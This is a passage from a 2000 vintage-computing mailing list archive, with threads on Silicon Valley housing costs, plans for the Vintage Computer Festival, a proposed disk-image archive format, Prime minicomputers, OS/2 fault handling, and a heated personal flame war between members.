of living. Given the nature of the housing market there, I might have to revise my number. I don't think I want to try to buy a $600K+ house. This is not meant as an advertisement for Columbus. It's some numbers to put the California experience into some perspective. I wouldn't mind visiting, but I wouldn't want to live there. I'm sure Hans and other Europeans here will have some interesting comments on the difference bewteen housing and energy costs between the two continents. -ethan ===== Even though my old e-mail address is no longer going to vanish, please note my new public address: erd@iname.com The original webpage address is still going away. The permanent home is: http://penguincentral.com/ See http://ohio.voyager.net/ for details. __________________________________________________ Do You Yahoo!? Kick off your party with Yahoo! Invites. http://invites.yahoo.com/ From rdd at smart.net Mon May 29 21:40:30 2000 From: rdd at smart.net (R. D. Davis) Date: Sun Feb 27 18:53:11 2005 Subject: Get up on the wrong side of the bed this morning? [Was: Re: Notes on repa... In-Reply-To: Message-ID: On Mon, 29 May 2000, Peter Joules wrote: > I know, but most of it is still in original boxes with all docs, so it > would be nice to save it from the skip. Good luck with this! All that going into the skip would be a terrible waste. Is there any way you can retrieve it from the skip if it ends up in there? -- R. D. Davis rdd@perqlogic.com http://www.perqlogic.com/rdd 410-744-4900 From foo at siconic.com Mon May 29 21:51:33 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:53:11 2005 Subject: Get up on the wrong side of the bed this morning? [Was: Re:Notes on repa... In-Reply-To: <3930B0E9.9CF8243F@rain.org> Message-ID: On Sat, 27 May 2000, Marvin wrote: > > > In article <392DD40E.D9E6982D@rain.org>, Marvin writes > > > >How about dropping this particular thread or taking it to email. Starting > > > >this kind of a flame war here doesn't do anyone any good. > > > > Are you sure about that? If a flame war is over the proper way to > > repair computers, and people learn from it, is that such a bad thing? > > Are people so politically correct and thin-skinned these days that > > their fragile psyches can't tolerate a little flame-fest? > > What makes you think a flame war is an effective way to learn? A game > perhaps, but learning??? I suppose it's one way of trying to justify a personality flaw? Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From foo at siconic.com Mon May 29 21:57:35 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:53:11 2005 Subject: A moment of silence... In-Reply-To: <3932DEA9.8720.146821E@localhost> Message-ID: On Mon, 29 May 2000, Hans Franke wrote: > > Now, in a communist state, this landlord would indeed be a greedy jackass, > > or worse! But here in the good old U.S. of A., he's a capitalist. Why > > should he be expected to operate as a charity? > > Hmm - I'd rather prefer a constitutional state where everybody > recives some protection by law .... Damn socialists! ;) Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From foo at siconic.com Mon May 29 22:02:42 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:53:11 2005 Subject: A moment of silence... In-Reply-To: Message-ID: On Mon, 29 May 2000, Mike Cheponis wrote: > It would appear as if more people want to live in Silicon Valley than Munich. > > It's called "supply and demand". > > The average house in Silicon Valley costs $577,280 (Source: SJ Mercury News, > 29 May 2000, page 7B). ( That's 1.216.791 DM at today's exchange rates, or > 622.134,66 Euros. ) > > Commercial real estate has undergone similar escalation, with landlords now > commonly asking for substantial percentages of stock in pre-IPO companies > in addition to high rents. I know personally of a deal that fell through > because the company that lost was unwilling to give approximately 1% of the > outstanding stock to the landlord (in addition to the high rent); the > "winning" company gave more stock+cash. > > If Silicon Valley weren't Paradise (esp. for geeks), it wouldn't make > sense... But... I think ultimately this is going to affect the favor that the SV has amongst geek companies. The startups will finally get some sense into their now pre-IPO-blinded heads and take their companies elsewhere. Workers will start to realize spending 3-5 hours (or more!) a day in traffic just doesn't make sense anymore at ANY salary and will move somewhere else to find work. It's an equilibrium. I think we have seen the peak of the Silicon Valley money machine and it's all downhill from here. It's just not fun any longer. Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From geoffrob at stmarks.pp.catholic.edu.au Mon May 29 23:58:17 2000 From: geoffrob at stmarks.pp.catholic.edu.au (Geoff Roberts) Date: Sun Feb 27 18:53:11 2005 Subject: A moment of silence... References: Message-ID: <001401bfc9f3$abbeb020$de2c67cb@stmarks.pp.catholic.edu.au> ----- Original Message ----- From: "Vintage Computer GAWD!" To: Sent: Tuesday, May 30, 2000 12:32 PM Subject: Re: A moment of silence... > Workers will start to realize spending 3-5 hours (or more!) a day in > traffic just doesn't make sense anymore at ANY salary and will move > somewhere else to find work. 3-5 hours? Wow. I thought I had it bad in Sydney when a long commute was around 45 minutes. I now live in a country town/city where 10 minutes is the maximum commute time. 2&1/2 hours to the capital city when necessary. Average home prices around AU$70,000 for a 3-4 bedroom, depending on which part of town. Lots of cheaper places in the AU$40-50k range. Downside is that only people making $50k a year are 12 hour a day shiftworkers at the lead smelter. I get AU$24k for administering a Vax/VMS box(Mail/web/proxy/ftp etc),a Novell Server and 200+ PC's in a school. Permanent part time 25 hours a week. Run a small business (internet cafe/retail new & s/h systems/repairs etc) in the spare time. Not easy to survive on that, even here. BTW,the exchange rate to the AU$ is around US58c at the moment, and petrol just went through the 94c a litre mark again, so it ain't necessarily as good as it sounds. I don't believe we have a single area like Silicon Valley here, much more spread around, there was an attempt to build a 'high tech city of tomorrow' (polispeak) near Adelaide a couple years ago, but it never got off the ground. > It's an equilibrium. I think we have seen the peak of the Silicon Valley > money machine and it's all downhill from here. It's just not fun any > longer. Doesn't sound like it. Time is more precious than money. Ask anyone over 40. Cheers Geoff Roberts Computer Systems Manager Saint Mark's College Port Pirie, South Australia geoffrob@stmarks.pp.catholic.edu.au netcafe@pirie.mtx.net.au ICQ: 1970476 From wmsmith at earthlink.net Tue May 30 00:25:08 2000 From: wmsmith at earthlink.net (Wayne M. Smith) Date: Sun Feb 27 18:53:11 2005 Subject: Get up on the wrong side of the bed this morning? [Was: Re:Noteson repa... References: Message-ID: <007401bfc9f7$6e0cc920$0d9bb2d1@Smith.earthlink.net> ----- Original Message ----- From: Vintage Computer GAWD! To: Sent: Monday, May 29, 2000 7:51 PM Subject: Re: Get up on the wrong side of the bed this morning? [Was: Re:Noteson repa... > On Sat, 27 May 2000, Marvin wrote: > > > > > In article <392DD40E.D9E6982D@rain.org>, Marvin writes > > > > >How about dropping this particular thread or taking it to email. Starting > > > > >this kind of a flame war here doesn't do anyone any good. > > > > > > Are you sure about that? If a flame war is over the proper way to > > > repair computers, and people learn from it, is that such a bad thing? > > > Are people so politically correct and thin-skinned these days that > > > their fragile psyches can't tolerate a little flame-fest? > > > > What makes you think a flame war is an effective way to learn? A game > > perhaps, but learning??? > > I suppose it's one way of trying to justify a personality flaw? > I would have said "manifest" a personality flaw. From wmsmith at earthlink.net Tue May 30 00:35:29 2000 From: wmsmith at earthlink.net (Wayne M. Smith) Date: Sun Feb 27 18:53:11 2005 Subject: A moment of silence... References: Message-ID: <007a01bfc9f8$dfaa1000$0d9bb2d1@Smith.earthlink.net> > Sellam International Man of Intrigue and Danger > ----------------------------------------------------- -------------------------- > Looking for a six in a pile of nines... > > Coming soon: VCF 4.0! > VCF East: Planning in Progress > See http://www.vintage.org for details! I looked, but no details. Do you have a tentative date? For us out-of-towners it would help for planning purposes. From chris at mainecoon.com Tue May 30 00:33:44 2000 From: chris at mainecoon.com (Chris Kennedy) Date: Sun Feb 27 18:53:11 2005 Subject: A moment of silence... References: Message-ID: <393352B8.7C0DB426@mainecoon.com> "Vintage Computer GAWD!" wrote: > Workers will start to realize spending 3-5 hours (or more!) a day in > traffic just doesn't make sense anymore at ANY salary and will move > somewhere else to find work. You betcha -- I certainly did. I worked in the valley for eighteen years but never lived in the south bay -- I've never liked that much concrete. Before bailing out I was driving on a more-or-less daily basis from Petaluma to San Jose. When that project ended we pulled chocks and moved to the Sierras. Same income level, but the air is clean (hell, we don't even have biennial smog checks) and an eighteen-month-old, 2400 sq ft home on a little more than an acre of dirt cost less than $200K. My staff is now geographically disperse; I let them live and work anywhere they please as long as they can get connectivity -- if I'm going to live in the middle of a national forest the least I can do is extend the same flexibility to my staff. I will admit, however, that I still can't figure out why one guy opted for ND... Personally, I'll boil my head before I work in the valley again. It will hurt less. -- Chris Kennedy chris@mainecoon.com http://www.mainecoon.com PGP fingerprint: 4E99 10B6 7253 B048 6685 6CBC 55E1 20A3 108D AB97 From jrice at texoma.net Tue May 30 01:02:28 2000 From: jrice at texoma.net (James L. Rice) Date: Sun Feb 27 18:53:11 2005 Subject: A moment of silence... References: <393352B8.7C0DB426@mainecoon.com> Message-ID: <39335974.E8FD39FD@texoma.net> We have smog checks in Dallas, but I live in a small town (12k pop. I commute 25 minutes to downtown and just built a 3500 ft2 house on a lake shore last year for $225k. Salaries are a bit lower here. I made $82k as the CTO for a small vertical market VAR last year. I might be able to pull more money in the SV but I went out and looked around a few years ago when I was between marriages and decided it was too crowded even then. James Chris Kennedy wrote: > > "Vintage Computer GAWD!" wrote: > > > Workers will start to realize spending 3-5 hours (or more!) a day in > > traffic just doesn't make sense anymore at ANY salary and will move > > somewhere else to find work. > > Same income level, but > the air is clean (hell, we don't even have biennial smog checks) and > an eighteen-month-old, 2400 sq ft home on a little more than an acre > of dirt cost less than $200K. > > My staff is now geographically disperse; I let them live and work > anywhere they please as long as they can get connectivity -- if > I'm going to live in the middle of a national forest the least I can do > is extend the same flexibility to my staff. From vcf at siconic.com Tue May 30 00:09:09 2000 From: vcf at siconic.com (Vintage Computer Festival) Date: Sun Feb 27 18:53:11 2005 Subject: Someone needs Dynalogic Hyperion info Message-ID: Can anyone help this guy out? ---------- Forwarded message ---------- Date: Fri, 26 May 2000 22:04:26 -0700 From: Leo Butzel Subject: Updated e-mail address needed for Archives Hope I not repeating myself ! Looking for info on the Dynalogic Hyperion, a "portable" DOS machine manufactures around 1983. At least the one I have is 1983. it was designed and initially built in Ottawa, Canada. Hyperion was acquired in about 1983 by Bytec, who was later bought by I think a Quebec company called Comterm. Anyway, mine has stopped working: Hence I am looking for service info and/or persons who have worked on the machine. Thanks very much for any leads you might provide. Leo Butzel Seattle, WA lbutzel@home.com Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From foo at siconic.com Tue May 30 00:16:37 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:53:11 2005 Subject: A moment of silence... In-Reply-To: <001401bfc9f3$abbeb020$de2c67cb@stmarks.pp.catholic.edu.au> Message-ID: On Tue, 30 May 2000, Geoff Roberts wrote: > > Workers will start to realize spending 3-5 hours (or more!) a day in > > traffic just doesn't make sense anymore at ANY salary and will move > > somewhere else to find work. > > 3-5 hours? Wow. I thought I had it bad in Sydney when a long commute > was around 45 minutes. I should elucidate by saying this is roundtrip. Mine only (only :) takes about 1.5 hours (45 minutes each way) but that should change very soon as I will go back to working from home again. I'm taking my figures from best guesses, but a 5 hour roundtrip commute is not out of line. I know some folks are coming in from cities that are 60+ miles from San Jose, and with the traffic along the way the commute can take 2-3 hours one way. Silicon Valley is no longer the geek paradise I dreamed of when I was growing up. From where I stand, it's become a nightmarish hell of traffic and way too many people. The boom was cool when it was revving up but now it's just out of control. Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From foo at siconic.com Tue May 30 00:33:24 2000 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 18:53:11 2005 Subject: A moment of silence... In-Reply-To: <007a01bfc9f8$dfaa1000$0d9bb2d1@Smith.earthlink.net> Message-ID: On Mon, 29 May 2000, Wayne M. Smith wrote: > I looked, but no details. > > Do you have a tentative date? For us out-of-towners it > would help for planning purposes. I must apologize for the lack of any activity on the VCF website. I've been working on updated pages for the past week and they are almost done. But instead of making you wait until the new pages are up, here's the scoop as it stands today: VCF 4.0 is tentatively planned for late September/early October. My only options at the Santa Clara Convention Center (where it's been held for the past two years) are on October 7-8. All other weekends in those months are booked. There's a good chance I will not get the 7-8. I am probably going to have to find some place to hold the event this year. Stay tuned on that. I am thinking (just thinking, nothing even remotely decided yet) to have an east coast event sometime in the late summer if I can get the ball rolling in time. I'm talking to some fellow list members about it (sorry I've been slow to respond!) An east coast event will only happen if I get my current situation under control, which is to move my collection to a new location, all 1,200sqft of it (I'm losing the lease on the space I am at now). That is of greatest concern to me right now, because with SV real estate being as high as it is, finding a new home for everything will be difficult. Being that I haven't even begun planning in earnest for VCF 4.0, an east coast event would be a major feat, but I'm still considering it. As far as the exhibition, I would now like to formally invite people to begin thinking about what they would like to exhibit at this year's VCF. Unofficially, I am wanting to include a special theme in this year's exhibit, which will be homebrew computing or calculating devices. I was inspired by the models of the mechanical calculator mechanisms I saw at the Heinz Nixdorf Museum in Germany and thought it would be great if people could research and create their own adder or counter mechanisms. The exhibit will still feature your favorite computers, and of course awards and prizes will be given out. The prizes haven't been decided yet but they will of course be very cool (last year we gave away Cardiacs, Nixdorf handhelds, bubble memories, t-shirts and money :) There will again be a tour to The Computer Museum History Center, the Nerd Trivia Challenge, and probably some new features. The new web pages will be up within a matter of days. I'll make an announcement to the list when they do go up. The pages will start to fulfill some of the promises I made a while back, which is to become more of a resource for computing history and collectors. As I get more time and high bandwidth, we'll start to provide archives of different sorts, helpful articles for the vintage computer hobbyist, and possibly even host other vintage computing sites. (If you'd like to become a contributor of articles and such, get in touch with me.) Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From foo at siconic.com Tue May 30 01:19:12 2000 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 18:53:11 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: <000527175219.20200a02@trailing-edge.com> Message-ID: On Sat, 27 May 2000 CLASSICCMP@trailing-edge.com wrote: > It's very, very common for double-density CP/M disks to have the boot > sector - and in some cases the first few tracks - in single density. Broderbund came out with an 18-sector format for the Apple ][, but in order for the disk to be readble the first track is encoded as standard 16-sector format. This 18-sector format provided two benefits: 1) increased storage space and 2) a form of copy protection. > For these odd formats, I just record the waveform from the head > for each track for a couple of revolutions, just to make real > sure that I'm not missing anything :-). What do you record it to? I don't think this is a very good solution for mass archiving and distribution. Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From foo at siconic.com Tue May 30 01:26:01 2000 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 18:53:11 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: Message-ID: On Sun, 28 May 2000, Mark wrote: > I would like to be proved wrong, but there is no way to account for every > possible strange thing that could be done in terms of custom formats, > copy-protection etc., at least in a high level file format that doesn't just > sample the bits coming from the disk. Well, if this is to be a universal standard (which is what I'd like to at least get close to accomplishing) then we must. > It would be possible to construct a device for archiving disks at a very low > level. I guess this would be similar to commercial floppy disk duplicators, > except writing data to a file instead of another floppy. The bit stream from > the disk would be sampled at a very high rate to allow for various tricks > that could be done. Or by modifying a floppy drive, the analogue signal from It would be tough to know where valid data actually resides on the disk. > Such a low-level dump of raw data would at least preserve all (or almost all) > information on the disk. Successfully writing an exact duplicate back to > another floppy would depend on the capabilities of your disk controller. > Still, such as image file could be easily supported by emulators. Also bad > sectors would be preserved, meaning that recovery of most of the data from > them would be possible. Such a utility would have to be written for each particular machine since universal hardware that could accomodate all the different formats does not seem feasible. Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From foo at siconic.com Tue May 30 01:50:03 2000 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 18:53:11 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: Message-ID: Let's start sort of from scratch here. So far we have the following (high level) criterion for a disk archive standard: 1. Host computer type (2 bytes allowing up to 65536 models to be specified) 2. Track format (host computer specific) 3. Sector format (single-density, double-density, etc) 4. Sector data format - this will specify what format the archived sector is in (raw data? logical bytes?) 5. Bytes per sector 6. Bits per byte What else? I will be the first to say that this is may not be very logically structured. What I am attempting to do is give a suggestion for a high level header that identifies what each chunk of data in the archive can represent. In this way, disks that are formatted with several different formats can be described. I think what this may evolve into is a Data Definition Language. The DDL will be encoded along with the disk data and will describe the format of the data on the disk as it is being read. This comes back to the fact that utilities will have to be written for each computer we decide to support (I assume it will be all of them) to both read and write native diskettes. I also assume the data will be passed between the archive host and the target machine via serial link? In case my mostly random thoughts above don't make sense, here is what I would have in mind for the Apple ][: The disk can be read in either standard, logical format (13 or 16 sectors per track, 256 bytes per sector) or "raw" format (raw disk bytes are read from the track). There would also have to be format descriptions for specially formatted tracks such as the 18-sector type I mentioned. As for reading the raw bytes, the Apple ][ had what were called "synchronization" bytes, which were 10 bits long, the two extra bits being used to synchronize the head with the start of the track. I could go into a technical discussion of this but would have to pull out some reference material to refresh my memory of how it all worked. Anyway, these bytes would have to be specially encoded in the archive. Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From peter at joules.org Tue May 30 04:22:05 2000 From: peter at joules.org (Peter Joules) Date: Sun Feb 27 18:53:11 2005 Subject: Get up on the wrong side of the bed this morning? [Was: Re: Notes on repa... In-Reply-To: References: Message-ID: In article , R. D. Davis writes >Is there any way you can retrieve it from the skip if it ends >up in there? Once it is in the skip, anyone taking it away, other than the waste disposal people, is stealing it. This has already been made clear to me. -- Regards Pete From John.Honniball at uwe.ac.uk Tue May 30 05:12:35 2000 From: John.Honniball at uwe.ac.uk (John Honniball) Date: Sun Feb 27 18:53:11 2005 Subject: Documenting how old computers were used In-Reply-To: <8763AE987517D2118C0500A0C9AB234C2BAD56@tegntserver.tegjeff.com> Message-ID: On Fri, 26 May 2000 13:57:31 -0400 Douglas Quebbeman wrote: > I'm glad you posted this. I'm effecting a rescue of a Prime 2455 > system, which I should receive in a week. ... > Any other Pr1me fans hanging out here??? Yes! I used a Prime P750 back at Westfield College, London, 1981-1985. We used it to run the Georgia Tech Software Tools Subsystem, and to do remote job entry for undergraduate programming assignments in Algol-68. -- John Honniball Email: John.Honniball@uwe.ac.uk University of the West of England From flo at rdel.co.uk Tue May 30 06:13:01 2000 From: flo at rdel.co.uk (Paul Williams) Date: Sun Feb 27 18:53:11 2005 Subject: Documenting how old computers were used References: Message-ID: <3933A23D.1B90843F@rdel.co.uk> John Honniball wrote: > > On Fri, 26 May 2000 13:57:31 -0400 Douglas Quebbeman > wrote: > > I'm glad you posted this. I'm effecting a rescue of a Prime 2455 > > system, which I should receive in a week. > ... > > Any other Pr1me fans hanging out here??? > > Yes! I used a Prime P750 back at Westfield College, > London, 1981-1985. We used it to run the Georgia Tech > Software Tools Subsystem, and to do remote job entry for > undergraduate programming assignments in Algol-68. I did a year's sandwich at UKAEA Culham Labs, Oxon. from 1987-88 and used a bunch of Primes there. I thought they were fascinating machines. They had recently upgraded to Primos Rev.19. I was told at the time that even numbers and odd numbered revisions were for different purposes -- anyone know what the difference was? I know that a big part of the change to Rev.19 was dynamic linking of libraries, so I was involved with recompiling loads of utilities to go from using SEG (static linker) to BIND (dynamic). I liked CPL, Prime's shell language, but most users of the computing services used UKAEA's own shell, GPL(?), which had been implemented on Primes, VAXen and an IBM 3084 at Harwell. This gave a common ground to physicists who had to use many different machines. One common scenario was develop a program on the Primes, transfer it through the IBM to the Cray 2 at Harwell, run it, and transfer the results back to the Prime for printing out. At the time I was there, many physicists were moving away from this complicated system and getting more power on their desktops. There were a lot of Whitechapel MG-1 workstations around the place, and Suns were starting to appear. Whitechapel came along to demo their latest and greatest colour workstations, running a windowing system which I think was called Oriel. From dhquebbeman at theestopinalgroup.com Tue May 30 07:54:34 2000 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 18:53:11 2005 Subject: OS/2 Message-ID: <8763AE987517D2118C0500A0C9AB234C2BAD5F@TEGNTSERVER> > Close, but not quite correct. > > GPF is a general protection fault, the most common problem is > a bad or uninitialized pointer. > > What makes a DLL get loaded, or paged in, is a page fault. > Its the same mechanism that causes a swapped out page to be swapped back > in on a 4K boundary. What I'm saying is that the way is *should* work is: pointer fault on attempt to execute faulted pointer to DLL routine segment fault on attempt to execute code in unmapped DLL routine's segment page fault on attempt to execute code in unmapped DLL routine's page And in a really proper OS you'd also get a page fault if the page map containing the PageMapTableEntries weren't currently mapped in (and yes you can page out page maps). And before you point out that segments went away from Win32 let me say that too is another fatal flaw with the Windows family of OS's. -dq From dhquebbeman at theestopinalgroup.com Tue May 30 08:01:03 2000 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 18:53:11 2005 Subject: Prime Parts: was "Documenting how old computers..." Message-ID: <8763AE987517D2118C0500A0C9AB234C2BAD60@TEGNTSERVER> Ok, I'm looking for a SCSI controller (7110 or 7210 are the only two models I know of), and a LHC300 ethernet controller. Got one? Also, looking for an 8mm streaming tape drive. Do you have a manual for PL1/G? -doug q -----Original Message----- From: Steve Robertson [mailto:steverob@hotoffice.com] Sent: Friday, May 26, 2000 4:46 PM To: classiccmp@classiccmp.org Subject: Prime Parts: was "Documenting how old computers..." I've got a small Pr1me buried somewhere in my garage. I'm not prositive but, I *think* it's a 2550. It's a complete system but, it has a bad CPU. That being the case, I'll make any of the parts available for anyone that's looking to resurrect one. Let me know exactly what parts you need and I'll see if I have them. I'm really not too familiar with that hardware so, you'll have be *real* specific about the parts you need. I also have a bunch of Pr1me DOCs (many still in the shrink wrap) if someone needs them. I'd like to get a token fee for the parts and of course you'd have to pay shipping from South Florida. Later, Steve Robertson > -----Original Message----- > From: Douglas Quebbeman [ mailto:dhquebbeman@theestopinalgroup.com ] > Sent: Friday, May 26, 2000 3:23 PM > To: 'classiccmp@classiccmp.org' > Subject: RE: Documenting how old computers were used > > > I'm working on some sources for spares; but I'm not even sure > what I'll find in the machine. The owner had a stroke around > Christmas, and some things are returning more slowly than others. > > But I'll definitely be needed either a 7110 or 7210 SCSI controller > and an LHC300 ethernet controller. > > So, what's a Xyplex? > > -doug q > From dhquebbeman at theestopinalgroup.com Tue May 30 08:04:12 2000 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 18:53:11 2005 Subject: OS/2 Message-ID: <8763AE987517D2118C0500A0C9AB234C2BAD61@TEGNTSERVER> > Eh? You're both wrong. OS/2 used the protected-mode multi-segment > support of the x86, but recall that OS/2 was originally released on the > 286 -- it didn't have any paging support. It's easy to distinguish a > fault during a CS load from a GPF, and no page fault is involved. There is another factor complicating this history lesson. The most extant machine that was OS/2 capable at the time of its launch was the IBM PC/AT. Most of the PC/AT models shipped with mask C of the 80286 processor. There was a flaw in the C mask chip that caused the CX register to be trashed on a GPF. That meant for OS/2 to take advantage of this hardware feature would have required a processor upgrade (they were socketed, PGA) for all these machines. Still, how hard would it have been to include a chip in the package? -dq From dhquebbeman at theestopinalgroup.com Tue May 30 08:33:00 2000 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 18:53:11 2005 Subject: Get up on the wrong side of the bed this morning? [Was: Re: N otes on repa... Message-ID: <8763AE987517D2118C0500A0C9AB234C2BAD62@TEGNTSERVER> > In article > , > R. D. Davis writes > >Is there any way you can retrieve it from the skip if it ends > >up in there? > > Once it is in the skip, anyone taking it away, other than the waste > disposal people, is stealing it. This has already been made clear to > me. Not sure what country you live in, but if you're in the US, then regardless of whatever munincipal laws have been enacted, the U.S. Supreme Court has ruled (on multiple occaisions) that refuse is exactly that- stuff that people no longer want. The most recent case that verified this was when suit was brought against a police department who extracted evidence from someone's trash. The police won that suit, and thus your trash does not receive the constitutional protection that other property gets. respectfully submitted, -doug q From kyrrin at bluefeathertech.com Tue May 30 09:25:54 2000 From: kyrrin at bluefeathertech.com (Bruce Lane) Date: Sun Feb 27 18:53:11 2005 Subject: Sellam Explodes Message-ID: <39336D02.22140.389CC2C@localhost> Criminys... ask a guy to just let the subject drop, and this is what happens. I've blocked any further E-mail from Sellam at this end. It's obvious that I can't even disagree with him now without ticking him off. I'm posting his final message as something of a warning to others who think he can handle things like this in a mature way. -=-=- -=-=- Date sent: Mon, 29 May 2000 19:48:02 -0700 (PDT) From: "Vintage Computer GAWD!" To: "Bruce Lane" Subject: Re: Please let it DROP! On Sat, 27 May 2000, Bruce Lane wrote: > If you value, as I do, the fact that we got along pretty well > during our few past meetings, please let the subject drop. Here and > now. > > It is obvious that we agree to disagree, and I would prefer to > leave it at that point than start a flame-war that's going to leave us > both too pissed off to see straight. Bruce, I value our "friendship" as much as you do, which is to say not enough for you to avoid constantly insulting me like you have the monopoly on valid opinions and to act in a uncivil manner. Basically, take your apoplectic rantings and stick them up your ass. I tried to be patient and not get angry from your last message, but I've never been one to accept a continued stream of abuse, especially from a dweeb like yourself. I don't want, nor do I need, a reply from you. Any more messages I receive from you on this matter I will consider to be SPAM and, since you live in a state which has laws against that sort of thing, I will not hesitate to file a complaint against you. Best regards, Sellam -=-=-=-=-=-=-=-=-=-=-=-=-=-=- Bruce Lane, Owner/Head Honcho, Blue Feather Technologies (www.bluefeathertech.com) kyrrin@bluefeathertech.com "SCSI Users, Unite! Beware the IDEs of March!" From jimw at agora.rdrop.com Tue May 30 09:54:15 2000 From: jimw at agora.rdrop.com (James Willing) Date: Sun Feb 27 18:53:11 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: Message-ID: On Mon, 29 May 2000, Sellam Ismail wrote: > Let's start sort of from scratch here. > > So far we have the following (high level) criterion for a disk archive > standard: > > 1. Host computer type (2 bytes allowing up to 65536 models to be > specified) > 2. Track format (host computer specific) > 3. Sector format (single-density, double-density, etc) > 4. Sector data format - this will specify what format the archived sector > is in (raw data? logical bytes?) > 5. Bytes per sector > 6. Bits per byte > > What else? Hmmm... Hard sector vs. SOft sector (for ctrlr emulations) Interleaving - yes/no/offset value Sectors per track # of Tracks Surfaces (heads) per cylinder ...? -jim --- jimw@computergarage.org || jimw@agora.rdrop.com The Computer Garage - http://www.computergarage.org Computer Garage Fax - (503) 646-0174 From richard at idcomm.com Tue May 30 09:56:47 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:53:11 2005 Subject: Defining Disk Image Dump Standard References: Message-ID: <001901bfca47$48077400$0400c0a8@EAHOME> I never understood why the double density CP/M diskettes were not bootable, and why "distribution-standard" diskettes had to be bootable. These are two different features, and what's important about the "standard" is not that it's bootable but that it's defined so as to be universally readable. The thing that made 5-1/4" "standard" diskettes unachievable back in the CP/M days was that people couldn't let go of the notion that every diskette had to be bootable. Frankly, I got fine mileage out of diskettes which couldn't be booted, yet I never had a problem booting up. It's silly to mix these two desirables. They're not bound together. Let's not require something that's counterproductive as this is. If you make a distribution standard for media, then use it for distribution. Let the OS determine what's suitable for booting. Dick ----- Original Message ----- From: Sellam Ismail To: Sent: Tuesday, May 30, 2000 12:50 AM Subject: Re: Defining Disk Image Dump Standard > > Let's start sort of from scratch here. > > So far we have the following (high level) criterion for a disk archive > standard: > > 1. Host computer type (2 bytes allowing up to 65536 models to be > specified) > 2. Track format (host computer specific) > 3. Sector format (single-density, double-density, etc) > 4. Sector data format - this will specify what format the archived sector > is in (raw data? logical bytes?) > 5. Bytes per sector > 6. Bits per byte > > What else? > > I will be the first to say that this is may not be very logically > structured. What I am attempting to do is give a suggestion for a high > level header that identifies what each chunk of data in the archive can > represent. In this way, disks that are formatted with several different > formats can be described. > > I think what this may evolve into is a Data Definition Language. The DDL > will be encoded along with the disk data and will describe the format of > the data on the disk as it is being read. > > This comes back to the fact that utilities will have to be written for > each computer we decide to support (I assume it will be all of them) to > both read and write native diskettes. I also assume the data will be > passed between the archive host and the target machine via serial link? > > In case my mostly random thoughts above don't make sense, here is what I > would have in mind for the Apple ][: > > The disk can be read in either standard, logical format (13 or 16 sectors > per track, 256 bytes per sector) or "raw" format (raw disk bytes are read > from the track). There would also have to be format descriptions for > specially formatted tracks such as the 18-sector type I mentioned. > > As for reading the raw bytes, the Apple ][ had what were called > "synchronization" bytes, which were 10 bits long, the two extra bits being > used to synchronize the head with the start of the track. I could go into > a technical discussion of this but would have to pull out some reference > material to refresh my memory of how it all worked. Anyway, these bytes > would have to be specially encoded in the archive. > > Sellam International Man of Intrigue and Danger > -------------------------------------------------------------------------- ----- > Looking for a six in a pile of nines... > > Coming soon: VCF 4.0! > VCF East: Planning in Progress > See http://www.vintage.org for details! > > From richard at idcomm.com Tue May 30 09:59:35 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:53:11 2005 Subject: Sellam Explodes References: <39336D02.22140.389CC2C@localhost> Message-ID: <002301bfca47$abb02600$0400c0a8@EAHOME> I wouldn't let that upset me, Bruce. He's seldom got much of use to offer. For him, this forum is just a billboard. He wants to transmit, but it doesn't matter to him that he doesn't receive. He doesn't read the stuff that's written anyway unless he wrote it himself. Dick ----- Original Message ----- From: Bruce Lane To: Sent: Tuesday, May 30, 2000 8:25 AM Subject: Sellam Explodes > Criminys... ask a guy to just let the subject drop, and this is > what happens. > > I've blocked any further E-mail from Sellam at this end. It's > obvious that I can't even disagree with him now without ticking him > off. I'm posting his final message as something of a warning to > others who think he can handle things like this in a mature way. > > -=-=- -=-=- > > Date sent: Mon, 29 May 2000 19:48:02 -0700 (PDT) > From: "Vintage Computer GAWD!" > > To: "Bruce Lane" > Subject: Re: Please let it DROP! > > On Sat, 27 May 2000, 